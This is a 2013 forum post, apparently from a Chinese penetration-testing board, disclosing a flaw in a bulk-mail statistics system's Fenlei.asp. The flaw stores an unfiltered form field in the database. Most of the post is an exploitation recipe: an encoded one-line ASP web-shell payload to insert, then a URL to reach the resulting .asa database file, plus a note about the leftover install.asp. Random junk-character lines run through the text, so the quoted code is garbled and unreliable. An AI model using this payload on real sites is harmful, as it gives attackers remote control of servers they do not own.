中国网络渗透测试联盟
标题:
铜板儿网邮件群发统计系统 v1.2 漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:14
标题:
铜板儿网邮件群发统计系统 v1.2 漏洞
'Fenlei.asp
1 J1 ^) }8 m8 N7 e8 J
, p1 g8 f, `" ^0 S
IF Request.QueryString("Action")="del" Then
, |2 w( o! `' s9 K) n% L
ID=Request.QueryString("ID")
% \% h9 S! n- b* E
IF Countss ("tui","Fenlei",ID )<>0 then
% ]4 w# v: o: Q" o
'略
4 A- }6 f0 Q! V: _* N6 _ e
IF Request.QueryString("Action")="Add" Then
) m N" l" d. b" L: {
Tname=Request.Form("Typename")
5 W9 ?2 r$ E8 X& q. Q6 ^, a! Z
Set Rs=Server.CreateObject("adodb.Recordset")
( C6 B: ~+ y# D: R6 @; E
Sql="Select * From Fenlei Order by id Desc "
D k$ G, A* x* M, c) Y% q
Rs.Open Sql,Conn,1,3
) U% O9 d7 Y9 l- j% x' l
Rs.Addnew
$ Z4 V9 ]7 n) J3 p2 e3 K- F1 D
Rs("Typename")=Tname
. p- P) I" r/ T5 ^2 e
'略
8 r3 _8 A$ Y3 t2 Z+ F
Set Rs=Server.CreateObject("adodb.Recordset")
$ {( f, _& N w+ L2 Q- b
Sql="Select * From Fenlei Order by id Desc "
4 D5 e1 h# p, W/ B
Rs.Open Sql,Conn,1,1
" b* s) e; Q% j% B" _
'略
, k' `. {- e+ T* Z$ h: ~9 j5 w
%>
5 M2 R ?7 I$ O* \- ]: s; _
" E. u" ?& V& p' F4 c
7 m7 U' Q# M4 J% T' S( p
: m/ I C0 K/ J0 _9 T/ n5 D$ t
没有过滤，直接写入数据库。
4 E5 l9 d; f; I, s- }
4 F3 g1 Z7 M4 V& R
利用方法：
) Z) }( h( V& c
?1 M$ g& v" |6 ?1 l! |% u
插入：┼攠數畣整爠煥敵瑳∨≡┩>
7 F4 K. K& |' r
0 s: F: Z1 D' M3 Z2 |
: ` Q/ A& g4 T! N8 c- y
连接：
http://www.xxx.com/###tongbaner.asa
9 s y2 \9 J! `! n U/ }* {
'默认安装文件：
% B o6 ^' E/ m1 y9 ]* c8 m
'install.asp
( v0 z% G' c: s- Q$ i( H& s: K4 x
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2